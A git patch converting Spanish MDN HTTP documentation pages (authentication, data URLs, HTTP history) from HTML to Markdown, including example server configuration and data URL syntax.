From 881e5d80f538d5cb20d7b950f24475220ca5daa9 Mon Sep 17 00:00:00 2001 From: GrayWolf Date: Thu, 1 Sep 2022 18:33:21 +0000 Subject: [PATCH 1/2] Convert /web/http/remaining folder to Markdown (es) --- files/es/web/http/authentication/index.html | 119 ------- files/es/web/http/authentication/index.md | 108 ++++++ .../http/basics_of_http/data_urls/index.html | 117 ------- .../http/basics_of_http/data_urls/index.md | 89 +++++ .../evolution_of_http/index.html | 197 ----------- .../basics_of_http/evolution_of_http/index.md | 185 ++++++++++ .../index.html | 170 ---------- .../identifying_resources_on_the_web/index.md | 105 ++++++ files/es/web/http/basics_of_http/index.html | 51 --- files/es/web/http/basics_of_http/index.md | 50 +++ .../mime_types/common_types/index.html | 321 ------------------ .../mime_types/common_types/index.md | 84 +++++ .../http/basics_of_http/mime_types/index.html | 321 ------------------ .../http/basics_of_http/mime_types/index.md | 219 ++++++++++++ .../web/http/conditional_requests/index.html | 149 -------- .../es/web/http/conditional_requests/index.md | 141 ++++++++ .../index.html | 87 ----- .../index.md | 74 ++++ files/es/web/http/cookies/index.html | 240 ------------- files/es/web/http/cookies/index.md | 216 ++++++++++++ .../errors/corsmissingalloworigin/index.html | 49 --- .../errors/corsmissingalloworigin/index.md | 45 +++ .../corspreflightdidnotsucceed/index.html | 27 -- .../corspreflightdidnotsucceed/index.md | 23 ++ .../cors/errors/corsrequestnothttp/index.html | 25 -- .../cors/errors/corsrequestnothttp/index.md | 23 ++ files/es/web/http/cors/errors/index.html | 76 ----- files/es/web/http/cors/errors/index.md | 68 ++++ files/es/web/http/messages/index.html | 140 -------- files/es/web/http/messages/index.md | 120 +++++++ files/es/web/http/methods/connect/index.html | 83 ----- files/es/web/http/methods/connect/index.md | 52 +++ files/es/web/http/methods/get/index.html | 69 ---- files/es/web/http/methods/get/index.md | 34 ++ files/es/web/http/methods/index.html | 69 ---- files/es/web/http/methods/index.md | 42 +++ files/es/web/http/methods/post/index.html | 124 ------- files/es/web/http/methods/post/index.md | 79 +++++ files/es/web/http/methods/trace/index.html | 73 ---- files/es/web/http/methods/trace/index.md | 36 ++ files/es/web/http/overview/index.html | 172 ---------- files/es/web/http/overview/index.md | 168 +++++++++ .../protocol_upgrade_mechanism/index.html | 247 -------------- .../http/protocol_upgrade_mechanism/index.md | 225 ++++++++++++ .../resources_and_specifications/index.html | 263 -------------- .../resources_and_specifications/index.md | 58 ++++ files/es/web/http/session/index.html | 159 --------- files/es/web/http/session/index.md | 137 ++++++++ 48 files changed, 2381 insertions(+), 3348 deletions(-) delete mode 100644 files/es/web/http/authentication/index.html create mode 100644 files/es/web/http/authentication/index.md delete mode 100644 files/es/web/http/basics_of_http/data_urls/index.html create mode 100644 files/es/web/http/basics_of_http/data_urls/index.md delete mode 100644 files/es/web/http/basics_of_http/evolution_of_http/index.html create mode 100644 files/es/web/http/basics_of_http/evolution_of_http/index.md delete mode 100644 files/es/web/http/basics_of_http/identifying_resources_on_the_web/index.html create mode 100644 files/es/web/http/basics_of_http/identifying_resources_on_the_web/index.md delete mode 100644 files/es/web/http/basics_of_http/index.html create mode 100644 files/es/web/http/basics_of_http/index.md delete mode 100644 files/es/web/http/basics_of_http/mime_types/common_types/index.html create mode 100644 files/es/web/http/basics_of_http/mime_types/common_types/index.md delete mode 100644 files/es/web/http/basics_of_http/mime_types/index.html create mode 100644 files/es/web/http/basics_of_http/mime_types/index.md delete mode 100644 files/es/web/http/conditional_requests/index.html create mode 100644 files/es/web/http/conditional_requests/index.md delete mode 100644 files/es/web/http/connection_management_in_http_1.x/index.html create mode 100644 files/es/web/http/connection_management_in_http_1.x/index.md delete mode 100644 files/es/web/http/cookies/index.html create mode 100644 files/es/web/http/cookies/index.md delete mode 100644 files/es/web/http/cors/errors/corsmissingalloworigin/index.html create mode 100644 files/es/web/http/cors/errors/corsmissingalloworigin/index.md delete mode 100644 files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html create mode 100644 files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.md delete mode 100644 files/es/web/http/cors/errors/corsrequestnothttp/index.html create mode 100644 files/es/web/http/cors/errors/corsrequestnothttp/index.md delete mode 100644 files/es/web/http/cors/errors/index.html create mode 100644 files/es/web/http/cors/errors/index.md delete mode 100644 files/es/web/http/messages/index.html create mode 100644 files/es/web/http/messages/index.md delete mode 100644 files/es/web/http/methods/connect/index.html create mode 100644 files/es/web/http/methods/connect/index.md delete mode 100644 files/es/web/http/methods/get/index.html create mode 100644 files/es/web/http/methods/get/index.md delete mode 100644 files/es/web/http/methods/index.html create mode 100644 files/es/web/http/methods/index.md delete mode 100644 files/es/web/http/methods/post/index.html create mode 100644 files/es/web/http/methods/post/index.md delete mode 100644 files/es/web/http/methods/trace/index.html create mode 100644 files/es/web/http/methods/trace/index.md delete mode 100644 files/es/web/http/overview/index.html create mode 100644 files/es/web/http/overview/index.md delete mode 100644 files/es/web/http/protocol_upgrade_mechanism/index.html create mode 100644 files/es/web/http/protocol_upgrade_mechanism/index.md delete mode 100644 files/es/web/http/resources_and_specifications/index.html create mode 100644 files/es/web/http/resources_and_specifications/index.md delete mode 100644 files/es/web/http/session/index.html create mode 100644 files/es/web/http/session/index.md diff --git a/files/es/web/http/authentication/index.html b/files/es/web/http/authentication/index.html deleted file mode 100644 index 7f38ead8fa6753..00000000000000 --- a/files/es/web/http/authentication/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: Autenticación HTTP -slug: Web/HTTP/Authentication -tags: - - Acceso de control - - Autenticación - - Guía - - HTTP - - HTTP Basic -translation_of: Web/HTTP/Authentication ---- -

{{HTTPSidebar}}

- -

HTTP nos brinda un marco general para el control de acceso y de autenticación. El esquema de autenticación HTTP más común es la autenticación "Basic". Esta página presenta el framework general de autenticación HTTP y muestra cómo restringir el acceso a tu servidor con la autenticación HTTP Basic.

- -

El marco general de autenticación HTTP

- -

{{RFC("7235")}} define el marco de autenticación HTTP que puede ser usado por un servidor para revisar la solicitud de un cliente y por un cliente para proveer información de autenticación. El flujo de la revisión y la respuesta funciona de la siguiente manera: El servidor responde al cliente con un estado de respuesta {{HTTPStatus("401")}} (Unauthorized) y devuelve al cliente información sobre cómo autorizarse con un encabezado de respuesta {{HTTPHeader("WWW-Authenticate")}} que contiene al menos una revisión. Un cliente que quiera autenticarse con un servidor puede hacerlo incluyendo un encabezado de solicitud {{HTTPHeader("Authorization")}} con sus credenciales. Normalmente un cliente hará una solicitud de contraseña al usuario y luego enviará la solicitud incluyendo el encabezado Authorization correcto al servidor.

- -

- -

En el caso de una autenticación "Basic" como la mostrada en la figura, el intercambio se debe realizar sobre una conexión HTTPS (TLS) para que sea seguro.

- -

Autenticación Proxy (Proxy Authentication)

- -

El mismo mecanismo de desafío y respuesta puede ser usada para autenticación por proxy. En este caso, es el proxy el que hace de intermediario y requiere la autenticación. Ambas autenticaciones (autenticación del recurso y autenticación en el proxy) pueden coexistir juntas, pero entonces es necesario un conjunto de cabeceras y códigos de estado diferentes. En el caso de los proxys, el código de estado para requerir autenticación es {{HTTPStatus("407")}} (Proxy Authentication Required), la cabecera de respuesta {{HTTPHeader("Proxy-Authenticate")}} contiene al menos un requerimiento aplicable en el proxy, y la cabecera de petición {{HTTPHeader("Proxy-Authorization")}} es usada para proveer la credencial en el servidor proxy.

- -

Prohibición de Acceso (Access Forbbiden)

- -

Si el servidor proxy recibe unas credenciales válidas que no son adecuadas para acceder a un determinado recurso, el servidor respondera con el código de estado {{HTTPStatus("403")}} Forbidden.Diferente al código de estado {{HTTPStatus("401")}} Unauthorized o {{HTTPStatus("407")}} Proxy Authentication Required, donde la autenticación es imposible para ese usuario.

- -

Cabeceras WWW-Authenticate y Proxy-Authenticate

- -

Las cabeceras de respuesta {{HTTPHeader("WWW-Authenticate")}} y {{HTTPHeader("Proxy-Authenticate")}} definen el método de autenticación que debe ser usado para obtener acceso a un recurso. Ellas especifican que esquema de autenticación debe ser usado para que el cliente que quiera autenticarse sepa como hacerlo. La síntaxis para estas cabeceras es la siguiente:

- -
WWW-Authenticate: <type> realm=<realm>
-Proxy-Authenticate: <type> realm=<realm>
-
- -

En el ejemplo, <type> es el esquema de autenticación ("Basic" es el esquema de autenticación mas usado e introducido en esta página mas abajo). La palabra realm es usada para describir el área que protegida o para indicar el alance de la protección. Puede ser un mensaje como "Access to the staging site" o algo similar, pero que sea explicativo para que el usuario sepa que espacio intenta acceder.

- - - -

Cabeceras Authorization y Proxy-Authorization

- -

La cabecera de consulta {{HTTPHeader("Authorization")}} y {{HTTPHeader("Proxy-Authorization")}} contiene las credenciales para autenticar a un user agent con un servidor (proxy). Aquí, el tipo es necesario necesario siguiendo las credenciales que pueden estar codificadas o encriptadas dependiendo de que tipo de esquema de autenticación se esté usando:

- -
Authorization: <type> <credentials>
-Proxy-Authorization: <type> <credentials>
-
- -

Esquemas de autenticación

- -

El marco general de autenticación HTTP es usado por varios esquemas de autenticación. Los esquemas pueden diferenciarse por la dureza en la seguridad y en su disponibilidad en software de clientes o servidores.

- -

El esquema de autenticaón mas común es "Basic", que es introducido con mas detalle abajo. IANA mantiene una lista de esquemas de autenticación, pero existen otros esquemas ofrecidos por proveedores de servicios, como Amazon AWS. Los esquemas de autenticación incluídas:

- - - -

Esquema de autenticación Basic

- -

El esquema de autenticación HTTP "Basic" está definido en {{rfc(7617)}}, que transmite las credenciales como un par usuario/contraseña codificado usando base64.

- -

Seguridad de la autenticación básica

- -

Como el usuario y la contraseña son pasados a través de la red como texto plano (éste es codificado en base64, pero base64 puede ser decodificado), el esquema de autenticación básico no es seguro. HTTPS / TLS debe ser usado junto a la autenticación básica. Sin éstas mejoras de seguridad, la autenticación básica no debe ser usada para proteger información sensible o valiosa.

- -

Restringiendo acceso con Apache y autenticación básica

- -

Para proteger por contraseña un directorio en un servidor Apache, necesitas usar los ficheros .htaccess y .htpasswd.

- -

El fichero .htaccess normalmente tiene esta forma:

- -
AuthType Basic
-AuthName "Access to the staging site"
-AuthUserFile /path/to/.htpasswd
-Require valid-user
- -

El fichero .htaccess hace una referencia al fichero .htpasswd, que contiene en cada línea un nombre de usuario y su respectiva contraseña separadas por dos puntos (":"). En este ejemplo no puedes ver la contraseña porque está encriptada (utilizando md5 en este caso). Además, puedes nombrar el fichero .htpasswd de forma diferente si tu quieres, pero teniendo en cuenta que no debería ser accesible por nadie. (Apache está configurado normalmente para prevenir el acceso a ficheros .ht*).

- -
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
-user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
-
- -

Restringiendo acceso con nginx y autenticación básica

- -

En el caso de nginx necesitarás especificar la localización a proteger y usar la directiva auth_basic, que provee el nombre del área protegida. La directiva auth_basic_user_file apunta al fichero .htpasswd que contiene las credenciales de usuario encriptadas, como en el ejemplo de Apache de mas arriba.

- -
location /status {
-    auth_basic           "Access to the staging site";
-    auth_basic_user_file /etc/apache2/.htpasswd;
-}
- -

Acceso usando credenciales en la URL

- -

Muchos clientes también le permiten evitar el mensaje de inicio de sesión enviando el usuario y la contraseña codificados por la URL.

- -
https://username:password@www.example.com/
- -

El uso de estas URLs está obsoleto. En Chrome, la cadena usuario:contraseña@ dentro de URLs incluso es cortada por razones de seguridad. En Firefox se comprueba si el sitio actualmente requiere una autenticación, y de no ser así, Firefox avisará al usuario con un mensaje "Está a punto de iniciar sesión en el sitiio "www.example.com" con el usuario "username", pero el sitiio web no requiere autenticación. Puede ser un intento de engañarlo.".

- -

Ver también

- - diff --git a/files/es/web/http/authentication/index.md b/files/es/web/http/authentication/index.md new file mode 100644 index 00000000000000..bd7c0ac8f8fd6c --- /dev/null +++ b/files/es/web/http/authentication/index.md @@ -0,0 +1,108 @@ +--- +title: Autenticación HTTP +slug: Web/HTTP/Authentication +tags: + - Acceso de control + - Autenticación + - Guía + - HTTP + - HTTP Basic +translation_of: Web/HTTP/Authentication +--- +{{HTTPSidebar}} + +HTTP nos brinda un marco general para el control de acceso y de autenticación. El esquema de autenticación HTTP más común es la autenticación "Basic". Esta página presenta el framework general de autenticación HTTP y muestra cómo restringir el acceso a tu servidor con la autenticación HTTP _Basic_. + +## El marco general de autenticación HTTP + +{{RFC("7235")}} define el marco de autenticación HTTP que puede ser usado por un servidor para revisar la solicitud de un cliente y por un cliente para proveer información de autenticación. El flujo de la revisión y la respuesta funciona de la siguiente manera: El servidor responde al cliente con un estado de respuesta {{HTTPStatus("401")}} (Unauthorized) y devuelve al cliente información sobre cómo autorizarse con un encabezado de respuesta {{HTTPHeader("WWW-Authenticate")}} que contiene al menos una revisión. Un cliente que quiera autenticarse con un servidor puede hacerlo incluyendo un encabezado de solicitud {{HTTPHeader("Authorization")}} con sus credenciales. Normalmente un cliente hará una solicitud de contraseña al usuario y luego enviará la solicitud incluyendo el encabezado `Authorization` correcto al servidor. + +![](https://mdn.mozillademos.org/files/14689/HTTPAuth.png) + +En el caso de una autenticación "Basic" como la mostrada en la figura, el intercambio se **debe** realizar sobre una conexión HTTPS (TLS) para que sea seguro. + +### Autenticación Proxy (Proxy Authentication) + +El mismo mecanismo de desafío y respuesta puede ser usada para _autenticación por proxy._ En este caso, es el proxy el que hace de intermediario y requiere la autenticación. Ambas autenticaciones (autenticación del recurso y autenticación en el proxy) pueden coexistir juntas, pero entonces es necesario un conjunto de cabeceras y códigos de estado diferentes. En el caso de los proxys, el código de estado para requerir autenticación es {{HTTPStatus("407")}} (Proxy Authentication Required), la cabecera de respuesta {{HTTPHeader("Proxy-Authenticate")}} contiene al menos un requerimiento aplicable en el proxy, y la cabecera de petición {{HTTPHeader("Proxy-Authorization")}} es usada para proveer la credencial en el servidor proxy. + +### Prohibición de Acceso (Access Forbbiden) + +Si el servidor proxy recibe unas credenciales válidas que no son adecuadas para acceder a un determinado recurso, el servidor respondera con el código de estado {{HTTPStatus("403")}} `Forbidden.`Diferente al código de estado {{HTTPStatus("401")}} `Unauthorized` o {{HTTPStatus("407")}} `Proxy Authentication Required, `donde la autenticación es imposible para ese usuario. + +### Cabeceras `WWW-Authenticate` y `Proxy-Authenticate` + +Las cabeceras de respuesta {{HTTPHeader("WWW-Authenticate")}} y {{HTTPHeader("Proxy-Authenticate")}} definen el método de autenticación que debe ser usado para obtener acceso a un recurso. Ellas especifican que esquema de autenticación debe ser usado para que el cliente que quiera autenticarse sepa como hacerlo. La síntaxis para estas cabeceras es la siguiente: + + WWW-Authenticate: realm= + Proxy-Authenticate: realm= + +En el ejemplo, ` `es el esquema de autenticación ("Basic" es el esquema de autenticación mas usado e introducido en [esta página mas abajo](/es/docs/Web/HTTP/Authentication#Basic_authentication_scheme)). La palabra _realm_ es usada para describir el área que protegida o para indicar el alance de la protección. Puede ser un mensaje como "Access to the staging site" o algo similar, pero que sea explicativo para que el usuario sepa que espacio intenta acceder. + +### `Cabeceras Authorization` y `Proxy-Authorization` + +La cabecera de consulta {{HTTPHeader("Authorization")}} y {{HTTPHeader("Proxy-Authorization")}} contiene las credenciales para autenticar a un user agent con un servidor (proxy). Aquí, el tipo es necesario necesario siguiendo las credenciales que pueden estar codificadas o encriptadas dependiendo de que tipo de esquema de autenticación se esté usando: + + Authorization: + Proxy-Authorization: + +### Esquemas de autenticación + +El marco general de autenticación HTTP es usado por varios esquemas de autenticación. Los esquemas pueden diferenciarse por la dureza en la seguridad y en su disponibilidad en software de clientes o servidores. + +El esquema de autenticaón mas común es "Basic", que es introducido con mas detalle abajo. IANA mantiene una [lista de esquemas de autenticación](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml), pero existen otros esquemas ofrecidos por proveedores de servicios, como Amazon AWS. Los esquemas de autenticación incluídas: + +- **Basic** (ver {{rfc(7617)}}, credenciales codificadas en base64 . Ver mas abajo para mas información.), +- **Bearer** (ver {{rfc(6750)}}, bearer tokens de acceso en recursos protegidos mediante OAuth 2.0), +- **Digest** (ver {{rfc(7616)}}, has MD5 solo soportado en Firefox, ver {{bug(472823)}} para encriptado SHA), +- **HOBA** (ver {{rfc(7486)}} (borrador), **H**TTP **O**rigin-**B**ound **A**uthentication, basado en firma digital), +- **Mutual** (ver [draft-ietf-httpauth-mutual](https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11)), +- **AWS4-HMAC-SHA256** (ver [AWS docs](http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html)). + +## Esquema de autenticación Basic + +El esquema de autenticación HTTP "Basic" está definido en {{rfc(7617)}}, que transmite las credenciales como un par usuario/contraseña codificado usando base64. + +### Seguridad de la autenticación básica + +Como el usuario y la contraseña son pasados a través de la red como texto plano (éste es codificado en base64, pero base64 puede ser decodificado), el esquema de autenticación básico no es seguro. HTTPS / TLS debe ser usado junto a la autenticación básica. Sin éstas mejoras de seguridad, la autenticación básica no debe ser usada para proteger información sensible o valiosa. + +### Restringiendo acceso con Apache y autenticación básica + +Para proteger por contraseña un directorio en un servidor Apache, necesitas usar los ficheros .htaccess y .htpasswd. + +El fichero .htaccess normalmente tiene esta forma: + + AuthType Basic + AuthName "Access to the staging site" + AuthUserFile /path/to/.htpasswd + Require valid-user + +El fichero .htaccess hace una referencia al fichero .htpasswd, que contiene en cada línea un nombre de usuario y su respectiva contraseña separadas por dos puntos (":"). En este ejemplo no puedes ver la contraseña porque está [encriptada ](https://httpd.apache.org/docs/2.4/misc/password_encryptions.html)(utilizando md5 en este caso). Además, puedes nombrar el fichero .htpasswd de forma diferente si tu quieres, pero teniendo en cuenta que no debería ser accesible por nadie. (Apache está configurado normalmente para prevenir el acceso a ficheros .ht\*). + + aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. + user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ + +### Restringiendo acceso con nginx y autenticación básica + +En el caso de nginx necesitarás especificar la localización a proteger y usar la directiva **auth_basic**, que provee el nombre del área protegida. La directiva **auth_basic_user_file** apunta al fichero .htpasswd que contiene las credenciales de usuario encriptadas, como en el ejemplo de Apache de mas arriba. + + location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; + } + +### Acceso usando credenciales en la URL + +Muchos clientes también le permiten evitar el mensaje de inicio de sesión enviando el usuario y la contraseña codificados por la URL. + + https://username:password@www.example.com/ + +**El uso de estas URLs está obsoleto.** En Chrome, la cadena usuario:contraseña@ dentro de URLs incluso es [cortada ](https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7)por razones de seguridad. En Firefox se comprueba si el sitio actualmente requiere una autenticación, y de no ser así, Firefox avisará al usuario con un mensaje "Está a punto de iniciar sesión en el sitiio "www\.example.com" con el usuario "username", pero el sitiio web no requiere autenticación. Puede ser un intento de engañarlo.". + +## Ver también + +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Authorization")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/es/web/http/basics_of_http/data_urls/index.html b/files/es/web/http/basics_of_http/data_urls/index.html deleted file mode 100644 index 79e6d0001042c3..00000000000000 --- a/files/es/web/http/basics_of_http/data_urls/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Datos URIs -slug: Web/HTTP/Basics_of_HTTP/Data_URLs -tags: - - Base 64 - - Guia(2) - - Intermedio - - URI - - URL -translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs -original_slug: Web/HTTP/Basics_of_HTTP/Data_URIs ---- -
{{HTTPSidebar}}
- -

Datos URIs, URLs prefijados con los datos: esquema, permiten a los creadores de contenido incorporar pequeños archivos en linea en los documentos.

- -

Sintaxis

- -

Los datos URIs se componen de cuatro partes a: un prefijo (data:), un tipo MIME que indica el tipo de datos, un token base64 opcional no textual, y los datos en si:

- -
data:[<mediatype>][;base64],<data>
-
- -

El mediatype es una cadena de tipo MIME, por ejemplo 'image/jpeg' para un archivo de imagen JPEG. si se omite, será por defecto text/plain;charset=US-ASCII

- -

Si el dato es textual, solo tiene que insertar el texto (utilizando las entidades o escapes adecuados en función del tipo de documento). Por otra parte, puedes especificar base-64 para insertar datos binarios codificados en base-64.

- -

Algunos ejemplos:

- -
-
data:,Hello%2C%20World!
-
Datos simples text/plain
-
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
-
versión codificada en base64-encoded de las anteriores
-
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
-
Un documento HTML con <h1>Hello, World!</h1>
-
data:text/html,<script>alert('hi');</script>
-
Un documento HTML que ejecuta una alerta Javascript. Tenga en cuenta que se requiere la etiqueta script de cierre.
-
- -

Codificación de datos en formato base64

- -

Esto se puede hacer fácilmente desde la línea de comandos usando uuencode, una utilidad disponible en sistemas Linux y Mac OS X:

- -
uuencode -m infile remotename
-
- -

El parámetro infile es el nombre para el archivo que desees decodificar en formato base64, y remotename es el nombre remoto para el archivo, que no se utilizará realmente en los datos de las URLs.

- -

La salida será similar a esto:

- -
xbegin-base64 664 test
-YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
-====
-
- -

El URI de datos utilizará los datos codificados después de la cabezera inicial.

- -

En la pagina Web, usando JavaScript

- -

Las Web tiene APIs primitivas para codificar o decodificar en base64: codificación y decodificación Base64.

- -

Problemas comunes

- -

Esta sección describe los problemas que comunmente ocurren cuando se crean o se usan los datos URIs.

- -
-
Sintaxis
-
El formato de los datos URIs es muy simple, pero es facil olvidarse de poner una coma antes del segmento de la "data", o para codificar incorrectamente los datos en formato base64.
-
Formateando en HTML
-
Un dato URI provee un archivo dentro de un archivo, que potenciamente puede ser muy amplia con relación con el ancho del documento de cierre. Como una URL, los datos se les puede dar formato con espacios en blanco (avance de línea, pestaña, o espacios), pero hay cuestiones prácticas que se plantean cuando se usa codificación base64.
-
Limitaciones de longitud
-
Aunque Firefox soporta con URIs de datos de longitud esencialmente ilimitada, los navegadores no estan obligados a apoyar cualquier longitud máxima de datos en particular. Por ejemplo, el navegador Opera 11 limita las URIs de datos cerca de los 65000 caracteres.
-
Falta de control de errores
-
Los parametros no válidos en los medios de comunicación, o errores ortográficos cuando se especifiquen 'base64', se ignoran, pero no se proporciona ningún error.
-
No hay soporte para consulta de cadenas, etc.
-
-

Las partes de datos de URIs de datos son opácos, por lo que un intento de utilizar una cadena de consulta (parametros específicos de página, con la sintaxis <url>?parameter-data) con un URIs de datos que se acaba de incluir la cadena de consulta en los datos de la URI que representa. Por ejemplo:

- - 
data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
-
- -

Esto representa un recurso HTML cuyo contenido es:

- - 
lots of text...<p><a name="bottom">bottom</a>?arg=val
-
-
-
- -

Especificaciones

- - - - - - - - - - - - -
EspecificaciónTítulo
{{RFC("2397")}}The "data" URL scheme"
- -

Compatibilidad del navegador

- -{{compat}} - -

Ver también

- - diff --git a/files/es/web/http/basics_of_http/data_urls/index.md b/files/es/web/http/basics_of_http/data_urls/index.md new file mode 100644 index 00000000000000..96bc517f83c493 --- /dev/null +++ b/files/es/web/http/basics_of_http/data_urls/index.md @@ -0,0 +1,89 @@ +--- +title: Datos URIs +slug: Web/HTTP/Basics_of_HTTP/Data_URLs +tags: + - Base 64 + - Guia(2) + - Intermedio + - URI + - URL +translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +original_slug: Web/HTTP/Basics_of_HTTP/Data_URIs +--- +{{HTTPSidebar}} + +**Datos URIs**, URLs prefijados con los datos`:` esquema, permiten a los creadores de contenido incorporar pequeños archivos en linea en los documentos. + +## Sintaxis + +Los datos URIs se componen de cuatro partes a: un prefijo (`data:`), un tipo MIME que indica el tipo de datos, un token `base64` opcional no textual, y los datos en si: + + data:[][;base64], + +El `mediatype` es una cadena de tipo MIME, por ejemplo `'image/jpeg'` para un archivo de imagen JPEG. si se omite, será por defecto `text/plain;charset=US-ASCII` + +Si el dato es textual, solo tiene que insertar el texto (utilizando las entidades o escapes adecuados en función del tipo de documento). Por otra parte, puedes especificar base-64 para insertar datos binarios codificados en base-64. + +Algunos ejemplos: + +- `data:,Hello%2C%20World!` + - : Datos simples text/plain +- `data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D` + - : versión codificada en base64-encoded de las anteriores +- `data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E` + - : Un documento HTML con `

Hello, World!

` +- `data:text/html,` + - : Un documento HTML que ejecuta una alerta Javascript. Tenga en cuenta que se requiere la etiqueta script de cierre. + +## Codificación de datos en formato base64 + +Esto se puede hacer fácilmente desde la línea de comandos usando `uuencode, `una utilidad disponible en sistemas Linux y Mac OS X: + + uuencode -m infile remotename + +El parámetro `infile` es el nombre para el archivo que desees decodificar en formato base64, y `remotename` es el nombre remoto para el archivo, que no se utilizará realmente en los datos de las URLs. + +La salida será similar a esto: + + xbegin-base64 664 test + YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK + ==== + +El URI de datos utilizará los datos codificados después de la cabezera inicial. + +### En la pagina Web, usando JavaScript + +Las Web tiene APIs primitivas para codificar o decodificar en base64: [codificación y decodificación Base64](/es/docs/Web/JavaScript/Base64_encoding_and_decoding). + +## Problemas comunes + +Esta sección describe los problemas que comunmente ocurren cuando se crean o se usan los datos URIs. + +- Sintaxis + - : El formato de los datos URIs es muy simple, pero es facil olvidarse de poner una coma antes del segmento de la "data", o para codificar incorrectamente los datos en formato base64. +- Formateando en HTML + - : Un dato URI provee un archivo dentro de un archivo, que potenciamente puede ser muy amplia con relación con el ancho del documento de cierre. Como una URL, los datos se les puede dar formato con espacios en blanco (avance de línea, pestaña, o espacios), pero hay cuestiones prácticas que se plantean [cuando se usa codificación base64](http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12). +- Limitaciones de longitud + - : Aunque Firefox soporta con URIs de datos de longitud esencialmente ilimitada, los navegadores no estan obligados a apoyar cualquier longitud máxima de datos en particular. Por ejemplo, el navegador Opera 11 limita las URIs de datos cerca de` los `65000 caracteres. +- Falta de control de errores + - : Los parametros no válidos en los medios de comunicación, o errores ortográficos cuando se especifiquen` 'base64'`, se ignoran, pero no se proporciona ningún error. +- No hay soporte para consulta de cadenas, etc. + - : Las partes de datos de URIs de datos son opácos, por lo que un intento de utilizar una cadena de consulta (parametros específicos de página, con la sintaxis` ?parameter-data`) con un URIs de datos que se acaba de incluir la cadena de consulta en los datos de la URI que representa. Por ejemplo: data:text/html,lots of text...

bottom?arg=valEsto representa un recurso HTML cuyo contenido es: lots of text...

bottom?arg=val + +## Especificaciones + +| Especificación | Título | +| -------------------- | ---------------------- | +| {{RFC("2397")}} | The "data" URL scheme" | + +## Compatibilidad del navegador + +{{compat}} + +## Ver también + +- [Base64 codificación y decodificación](/es/docs/Web/JavaScript/Base64_encoding_and_decoding) +- {{domxref("WindowBase64.atob","atob()")}} +- {{domxref("WindowBase64.btoa","btoa()")}} +- [CSS `url()`](/es/docs/Web/CSS/uri) +- [URI](/es/docs/URI) diff --git a/files/es/web/http/basics_of_http/evolution_of_http/index.html b/files/es/web/http/basics_of_http/evolution_of_http/index.html deleted file mode 100644 index 160110ac3d7aff..00000000000000 --- a/files/es/web/http/basics_of_http/evolution_of_http/index.html +++ /dev/null @@ -1,197 +0,0 @@ ---- -title: Evolución del protocolo HTTP -slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP -translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP ---- -

{{HTTPSidebar}}

- -

HTTP es el protocolo en el que se basa la Web. Fue inventado por Tim Berners-Lee entre los años 1989-1991, HTTP ha visto muchos cambios, manteniendo la mayor parte de su simplicidad y desarrollando su flexibilidad. HTTP ha evolucionado, desde un protocolo destinado al intercambio de archivos en un entorno de un laboratorio semi-seguro, al actual laberinto de Internet, sirviendo ahora para el intercambio de imágenes, vídeos en alta resolución y en 3D.

- -

Invención de la World Wide Web

- -

En 1989, mientras trabajaba en el CERN, Tim Berners-Lee escribió una propuesta para desarrollar un sistema de hipertexto sobre Internet. Inicialmente lo llamó: 'Mesh' (malla, en inglés), y posteriormente se renombró como World Wide Web (red mundial), durante su implementación en 1990. Desarrollado sobre los protocolos existentes TCP e IP, está basado en cuatro bloques:

- -
    -
  • Un formato de texto para representar documentos de hiper-texto: HyperText Markup Language (HTML).
    • -
  • Un protocolo sencillo para el intercambio de esos documentos, del inglés: HypertText Transfer Protocol (HTTP) : protocolo de transferencia de hiper-texto.
    • -
  • Un cliente que muestre (e incluso pueda editar) esos documentos. El primer navegador Web, llamado: WorldWideWeb.
    • -
  • Un servidor para dar acceso a los documentos, una versión temprana: httpd (http daemon)
    • -
- -

Estos cuatro bloques fundamentales se finalizaron para finales de 1990, y los primeros servidores estaban ya funcionando fuera del CERN a principios del 1991. El 6 de Agosto de 1991, el post de Tim Berners-Lee, se considera actualmente como el inicio oficial de la Web como proyecto público.

- -

La versión del protocolo HTTP usada en aquel momento, era realmente muy sencilla, posteriormente pasó a HTTP/0.9, referido algunas veces, como el protocolo de una sola línea.

- -

HTTP/0.9 – El protocolo de una sola línea

- -

La versión inicial de HTTP, no tenía número de versión; aunque posteriormente se la denominó como 0.9 para distinguirla de las versiones siguientes. HTTP/0.9 es un protocolo extremadamente sencillo: una petición consiste simplemente en una única linea, que comienza por el único método posible {{HTTPMethod("GET")}}, seguido por la dirección del recurso a pedir (no la URL, ya que tanto el protocolo, el servidor y el puerto, no son necesarios una vez ya se ha conectado al servidor).

- -
GET /miPaginaWeb.html
- -

La respuesta también es muy sencilla: solamente consiste el archivo pedido.

- -
<HTML>
-Una pagina web muy sencilla
-</HTML>
- -

